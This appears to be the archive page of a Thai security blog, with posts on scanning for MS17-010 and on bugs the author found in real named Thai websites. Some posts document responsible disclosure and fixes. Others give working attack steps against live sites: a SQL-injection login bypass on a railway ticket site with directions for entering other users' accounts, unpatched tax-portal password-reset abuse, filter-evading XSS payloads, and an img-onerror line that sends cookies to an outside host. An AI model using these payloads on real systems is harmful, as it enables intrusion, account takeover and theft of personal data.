Archive

Archive for the ‘Security’ Category

ใช้ nmap scan หาช่องโหว่ MS17-010

May 29th, 2017 Comments off

สำหรับคนที่กลัว wanacrypt แล้วอยากรู้ว่าเครื่องในวงมีกี่เครื่องที่ยังไม่ได้ patch แล้ว ip address
ผมแนะนำให้ใช้ nmap scan นะครับ

ใช้คำสั่ง nmap -p445 –script smb-vuln-ms17-010.nse 192.168.1.0/24 แค่นี้เลยครับ
ถ้ามีเครื่องไหนที่มีช่องโหว่อยู่ก็จะโชว์แบบนี้ครับ

ที่มา : https://blog.michaelfmcnamara.com/2017/05/how-to-scan-for-machines-vulnerable-to-wannacrypt-wannacry-ransomware/

Categories: Security, wannacrypt Tags:

Tools เจ๋ง ๆ บนเว็บ

February 15th, 2017 Comments off

1.ใช้ scan method ที่ยอมให้ใช้บนเว็บ http://www.askapache.com/online-tools/request-method-scanner/

2.nmap และอื่น ๆ https://pentest-tools.com/network-vulnerability-scanning/tcp-port-scanner-online-nmap

3.online sipvicious http://sipscanner.voicefraud.com/

4.html decode encode http://www.url-encode-decode.com/

5.base64 decode encode https://www.base64decode.org/

6.scan security header https://securityheaders.io/

ใครมี tools เจ๋ง ๆ มาแชร์กันได้ครับ

Categories: Security Tags:

CSRF บน soccersuck.com

February 15th, 2017 Comments off

ถ้าเราลอง temper ค่าเวลากดแผล่บบนเว็บ soccersuck.com จะเห็นว่าจะมีค่า 3 ค่าถูกส่งไปที่
http://www.soccersuck.com/boards/addpoint/ จะมี post data ประมาณนี้ครับ

POSTDATA=vote_id=MzQwMDAzMDBzb2NjZXJzdWNrb2xpdmVyMzk0NTow&keytime=c3NvbGl2ZXIzOTQ1&num_b=0

ทีนี้คำถามก็คือเราสามารถส่งค่าผ่าน domain อื่น ๆ ที่ไม่ใช่ soccersuck.com ได้หรือเปล่า
ถ้าได้ก็แสดงว่าเราทำ CSRF ได้ครับ

ก็ทำได้ตามนั้นแหละครับ ขี้เกียจอธิบายเยอะ -*- วิธีกัน Google ก็ออกละ

Categories: CSRF, owaspTop10 Tags:

sqli บนเว็บ https://www.thairailwayticket.com/eTSRT/

February 1st, 2017 Comments off

วันนี้วันที่ 1 ก.พ.60 ครับการรถไฟเปิดขายตั๋วผ่านเว็บเป็นวันแรกครับ มาวันแรกก็เจอ sqli เลยครับ
ถ้าเราเข้าหน้า login แล้วพิมพ์ ‘ ที่ username ส่วน password พิมพ์อะไรก็ได้จะขึ้น error ครับ
ถึงจะไม่ได้บอกว่าเป็น error อะไรแต่ก็พอเดาได้ครับว่าน่าจะเป็น sqli แน่นอนครับ

ก็เป็นอันรู้ว่าตัว username ทำ sqli ได้แน่ ๆ หละทีเราก็ลอง login ดูโดยใช้ username เป็น
‘ or ‘1’=’1 ส่วน password เป็น password ของผมนะครับ จะเห็นว่าสามารถ login เข้า
user ของผมได้ครับ ทีนี้เวลาจะเจาะของคนอื่นวิธีก็คือใส่ username เป็น ‘ or ‘1’=’1 ส่วน
password ต้องให้ตรงกับ user นั้น ๆ ครับ ก็จะเข้าได้โดยไม่ต้องรู้ username ครับ
ครับถ้าลองใช้ worst 25 password นี่รับลอง login ได้แน่ ๆ ครับ

ถ้าอยากได้ password เป็น clear text ก็เปลี่ยน mail แล้วขอ password ใหม่ครับ
ทำไมไม่ hash นิ

Categories: owaspTop10, sql injection Tags:

ช่องโหว่ reset password ขอคืนภาษีสรรพากร

January 23rd, 2017 Comments off

กรณีนี้เหมือน กบข. ครับมือบอนครับ จนไปเจอว่าสามารถเปลี่ยนพาสเวิร์ดหน้ายื่นภาษีออนไลน์
ของใครก็ได้แค่รู้เลข 13 หลักครับ (ข้อมูลอื่น ๆ ใส่มั่ว ๆ ได้ครับ อย่าลืมว่าสรรพากรไม่เคยขอ
เบอร์โทรศัพท์เราครับ) ทดสอบแล้วครับว่าเปลี่ยนแล้วใช้พาสเวิร์ดนั้นได้จริงครับ

เคสนี้ผมส่งเมลเข้า e_filing@rdserver.rd.go.th เมื่อวันที่ 18 ม.ค. แต่ไม่มีใครตอบครับ
ต้องไปตั้งกระทู้ใน faq ครับซึ่งก็เสี่ยงว่าคนอื่นจะรู้พอสมควรครับ

ช่องโหว่ reset password สมาชิก กบข.

January 11th, 2017 Comments off

เรื่องนี้เกิดขึ้นเมื่อวานนี้เองครับ 10 ม.ค.60 ครับ ตอนนี้ทางทีมของ กบข. ได้แก้ไขปัญหาดังกล่าวแล้วนะครับ
แก้ได้รวดเร็วและเป็นมืออาชีพมากครับ ทาง จนท. ได้โทรกลับมาหาผมเพื่อขอข้อมูลเพิ่มเติมด้วยครับ
ต้องขอบคุณทาง กบข. มากครับ

เมื่อวานผมได้ login เข้าเว็บ กบข. ครับตั้งใจว่าจะเปลี่ยนแผนการลงทุนครับด้วยความที่มือบอนครับ
อยากรู้ว่าตัวเว็บปลอดภัยแค่ไหนครับ ผมก็ลองแก้พารามิเตอร์เล่น ๆ ครับก็ไม่ได้เจออะไรจนผมไปสะดุด
ว่าถ้าเราลบพารามิเตอร์ออกจนเหลือแค่ https://gpfservices.gpf.or.th/gpfservices/tas/
ผมจะเห็นไฟล์บน server ทั้งหมดตามภาพด้านล่างครับ

อืมก็ดูไม่มีอะไร ผมก็ไล่คลิ๊กเรื่อย ๆ ครับว่ามีไฟล์อะไรน่าสนใจบ้างครับ แล้วก็ไปเจอไฟล์ที่ชื่อว่า lostPassword.aspx ครับ
ซึ่งถ้าเราคลิ๊กเข้าไปจะเห็นว่าเราสามารถเปลี่ยนพาสเวิร์ดได้โดยไม่ต้อง login เพียงแค่ต้องรู้ เลข13หลักกับวันเกิดครับ
หน้าตาแบบนี้

ครับซึ่งถ้าเราใส่เลข13หลักและวันเกิดถูกจะขึ้นให้ส่งพาสเวิร์ดไปที่อีเมลไหนก็ได้ครับ ย้ำว่าไปที่อีเมลไหนก็ได้ของใครก็ได้
แบบนี้ครับ ซึ่งผมลองกับ account ตัวเองโดยส่งไปเมลอีกอันหนึ่งครับพบว่าสามารถ login ได้ครับ


ถ้าคิดว่าก็ไม่น่ากลัวนี่ต้องรู้เลข13หลักและวันเกิดนั่นไม่จริงครับ เพราะจากหน้านี้ผมสามารถ enumerate เลขบัตรและวันเกิด
ได้โดยการดู responded ของเว็บครับ คือถ้าเลข13หลักไม่มีฐานข้อมูลเว็บจะบอกว่าไม่มีในฐานข้อมูล และถ้าวันเกิดไม่ถูก
ผมจะเข้าหน้าเปลี่ยนพาสไม่ได้ครับ

โดยสรุปเลยก็คือหน้า ๆ นี้ทำให้ผมสามารถรู้ username(13เลขหลัก) และสามารถเปลี่ยน password ของสมาชิก กบข. ทุกคนได้ครับ ซึ่งถ้า login เข้าไปได้ข้างในจะมี ชื่อ-สกุล ที่อยู่ เบอร์โทร หน่วยงาน อีเมล เงินเดือนอยู่ด้านใน

**ข้อมูลที่ได้รับจาก จนท.กบข. คือ เว็บตัวนี้เพิ่งเอาขึ้นและยังไม่ได้ config ให้ปิดการ list files บน server ครับ
นี่แหละครับการ config พลาดเล็ก ๆ น้อย ๆ อาจจะทำให้เราเจอช่องโหว่อื่น ๆ ที่ร้ายแรงกว่าครับ

เปิดซิง sql injection

January 21st, 2016 Comments off

จริง ๆ น่าจะเรียกได้ว่าเป็นภาค 6 เอฟเฟ็คมากกว่าครับเผื่อใครไม่รู้ละกันตามข่าว นี้
ซึ่งผมเดาว่าละกันว่าโดน sql injection ถามว่าทำไมคงเป็นเพราะ ง่าย ไม่ต้องคิดอะไรมาก
แค่ใช้ sqlmap scan เจอก็ทำได้ตั้งแต่ dump database ไปจนถึง spawn shell ขึ้นมา
คือโคตรง่ายเด็ก ป.6 ก็ทำได้ ทีนี้สงสัยว่าเว็บที่ทำงานมีบ้างรึเปล่า ลอง scan ดู
อ้าว มีเหมือนกันแฮะมันโหว่ตรง

http://www.mysite.co.th/base.php?page=readmore&id=2095&section=news

โหว่ตรงไอ้ id นี่เลยครับช่องโหว่นี้มันเกิดเพราะหนึ่งใช้ function mysql() แทนที่จะใช้ mysqli
ได้ mysqli นี่มันกัน sql injection ครับแต่ mysql ธรรมดาไม่ได้กันครับ
ถามว่าผมแก้ยังไง ผมแค่แปลงเป็น int ครับ intval($_REQUEST[‘id’]) ขี้เกียจแก้เป็น mysqli
พอแปลงเป็น int แล้วจะใส่ UNION มาต่อท้ายหรืออะไรก็ไม่ผลละครับก็รอดไปแบบบ้าน ๆ

แต่จากเหตุการณ์นี้ทำให้ผมรู้ว่าไอ้การใช้ lamp เนี่ยเพื่อความปลอดภัยมันควรจะ

1. ปิดฟังก์ชั่นด้าน security ของ php ให้หมดครับ exec เทือกนั้นอย่าเปิดทิ้งไว้ไม่งั้นเค้าจะ spawn shell ได้
2. ใช้ mysqli เสมอ
3. user ที่ connect เข้า mysql อย่าใช้ root ให้สิทธิเท่าที่จำเป็น
4. folder html สิทธิควรเป็น 755

แต่บอกตามตรงครับ sql injection เป็นอะไรที่โคตรง่ายครับ แล้วเว็ปราชการไทยเป็นเยอะ
ใครมีเว็ปกลัวว่าจะโดนผมแนะนำให้เอา sqlmap มา scan ดูเลยครับ

Categories: Security, sql injection Tags:

xss บน soccersuck 3

September 28th, 2015 Comments off

Timeline :
27 Sep 2015 – แจ้ง vulnerability ให้กับโปรแกรมเมอร์เว็ป
27 Sep 2015 – โปรแกรมเมอร์แจ้งว่าปิด tag scirpt บริเวณลายเซนต์แล้ว
27 Sep 2015 – ทดสอบตามที่โปรแกรมเมอร์แจ้ง
28 Sep 2015 – แจ้งว่ายังสามารถแทรก tag iframe และใช้ payload <IFRAME SRC=”javascript:alert(0)”></IFRAME>
28 Sep 2015 – โปรแกรมเมอร์แก้ไขปัญหา iframe

Report: สามารถแทรก tag script ในลายเซนต์ได้
Category: XSS
Step to reproduce:
1. ไปหน้า user edit ลายเซนต์
2. แทรก <script>alert(0)</script> บริเวณลายเซนต์

ผลกระทบ:
– สามารถขโมยคุ๊กกี๊ แก้ไขคุ๊กกี๊เพื่อให้ login เป็น user ใด ๆ ก็ได้
– แสดงข้อความว่าถูกแบนแล้วแทรก iframe เพื่อขโมย user/pass แบบ plain text ได้
– ใช้ browser เป็น bot

รางวัล:
– ได้ยศ Hall of frame (ครับ frame ครับไม่ใช่ fame)
– แผล่บ 3,000 แผล่บ

**คล้าย ๆ ว่าถ้าโดนขโมย cookies แล้วจะสามารถ login เป็น user นั้น ๆ ได้ตลอดจนกว่าเปลี่ยน
key ที่ใช้สร้าง cookies ครับ (soccersuck ใช้ CakePHP ครับ)

Categories: Security, XSS Tags:

ช่องโหว่ Atomymaxsite

September 10th, 2015 Comments off

เพิ่งได้อ่านจากเฟสน้องแมวยาวว่า Atomy มีช่องโหว่ตัวนี้ ตั้งแต่ปี 2013

https://packetstormsecurity.com/files/122227/Atomymaxsite-Shell-Upload.html

พอลองกลับไปดูเว็ปที่ทำงาน อ้าว มีด้วยนี่หว่าเราลองอัพ php อัพได้ด้วย

ก็เลยลองแก้ดูครับ สรุปปัญหามาจากไฟล์ /modules/research/add.php

ที่ยอมให้ upload file นามสกุลใดก็ได้ครับ ผมก็เลยแก้เป็น

บรรทัดที่ 68

if (is_uploaded_file($_FILES[‘filesw’][‘tmp_name’])&&(substr($filesw_name,-4)==’.zip’||substr($filesw_name,-4)==’.rar’)) {

บรรทัดที่ 73

if (is_uploaded_file($_FILES[‘abstractxx’][‘tmp_name’])&&(substr($abstractxx_name,-4)==’.doc’||substr($abstractxx_name,-4)==’.pdf’)) {

ตอนแรกสับสนนิดหน่อยว่าจะกำหนดยังไงระหว่างกรองไฟล์ที่เราไม่ต้องการออก

เช่น ไม่ให้ upload file php แต่ทางที่ดีที่สุดคือระบุว่าเรายอมให้ไฟล์อะไร

อัพขึ้นไปได้จะดีกว่า เพราะถ้าเกิดมีไฟล์อื่น ๆ ที่ส่งผล เช่น .htaccess

deny all ไว้คนจะเข้าเว็ปไม่ได้ ดังนั้นกำหนดว่าอัพอะไรได้จะดีกว่าครับ

แต่ทางแก้ที่ดีที่สุดผมว่าคือ เลิกใช้ไปเถอะ atomy พรุนเป็นสวิสชีสแบบนี้

เออ รู้สึกว่าเวอร์ชั่นใหม่ ๆ (2.5.2 ขึ้นไป) ไม่มีปัญหานี้แล้วนะครับ ถ้าลองหาตามเน็ต

ซัก 15 เว็ปจะมีเว็ปนึงครับ ต้องเป็นเว็ปที่ร้างจริง ๆ ปัญหาอาจจะไม่ได้มาจาก

atomy น่าจะมาจากการไม่อัพเดตของที่ทำงานผมมากกว่า

Categories: Security Tags:

xss บน ss อีกละ ภาค 2

July 27th, 2015 Comments off

หลังจากผมโดนปลดแบนใน ss แน่นอนครับ ภารกิจอันดับแรกคือหาว่ายังทำ xss

บน ss ได้หรือเปล่า ผมลองวิธีเดิมครับ

x” onmouserover=document.getElementsByClassName(‘addpoint_button’)[0].click();//

ปรากฏว่าโปรแกรมเมอร์กรองคำว่า onmouse getElementsByClassName และ addpoint_button

ออกครับถ้าทำแบบด้านบนจะเหลือแค่ over=document.(”)[0].click();// ทำให้ code ทำงานไม่ได้ครับ

มันก็เลยเกิดคำถามว่าทำไมตอนที่เราทดสอบ xss เราต้องใช้ alert() แค่ function เดียวจะทำอะไรได้ ?

ผมก็ค้นจนเจอว่าจริงแล้ว function ที่ต้องกลัวคือ eval() ตัว eval จะรับเอา string มาแล้วรันเป็น code ครับ

ดังนั้นผมก็เลยปรับโค้ดเป็น

onwheel=”a=String.fromCharCode(39)+String.fromCharCode(97)+String.fromCharCode(100)
+String.fromCharCode(100)+String.fromCharCode(112)+String.fromCharCode(111)+
String.fromCharCode(105)+String.fromCharCode(110)+String.fromCharCode(116)+
String.fromCharCode(95)+String.fromCharCode(98)+String.fromCharCode(117)+
String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(111)
+String.fromCharCode(110)+String.fromCharCode(39);eval(‘document.ge’+’tElementsB’
+’yClassName(‘+a+’)[0].click()’);//

คือ ถ้า onmouse โดนบล๊อคก็เหลือ event อีกหลาย ๆ แบบ onwheel onerror ที่สามารถใช้งานได้

ถ้า string โดนกรองออกเราก็ใช้ eval หลบโดยการแยก string ออกเป็นส่วน ๆ

แบบนี้ document.ge’+’tElementsB’+’yClassName เพื่อหลบการกรองคำ หรือใช้ fromcharcode เพื่อหลบตัวอักษร

บางตัวก็ได้ครับ จริง ๆ ผมเรียนรู้อะไรเยอะจากครั้งนี้สรุปได้ดังนี้ครับ

– กรองคำบางคำออกไม่เวิร์คแน่ ๆ ต้องกรองพวก ‘ ” ( ) < > พวกนี้ออกจะแก้ได้ค่อนข้างแน่นอน

– ที่เวลาทดสอบทำ alert เพราะกลัว eval

– ถ้าเราสามารถทำ xss ได้แล้วเราสามารถแก้ไข html ที่จุดอื่น ๆ ได้ เช่น แก้ signnature ได้

จากจุดนี้เอาประยุกต์ใช้ได้หลายอย่าง

– ถ้าจะขโมย cookie จาก tag img ทำแบบนี้ครับ

<img src=x onerror=’new Image().src=”http:///?x=”+document.cookie’>

Categories: Security, XSS Tags: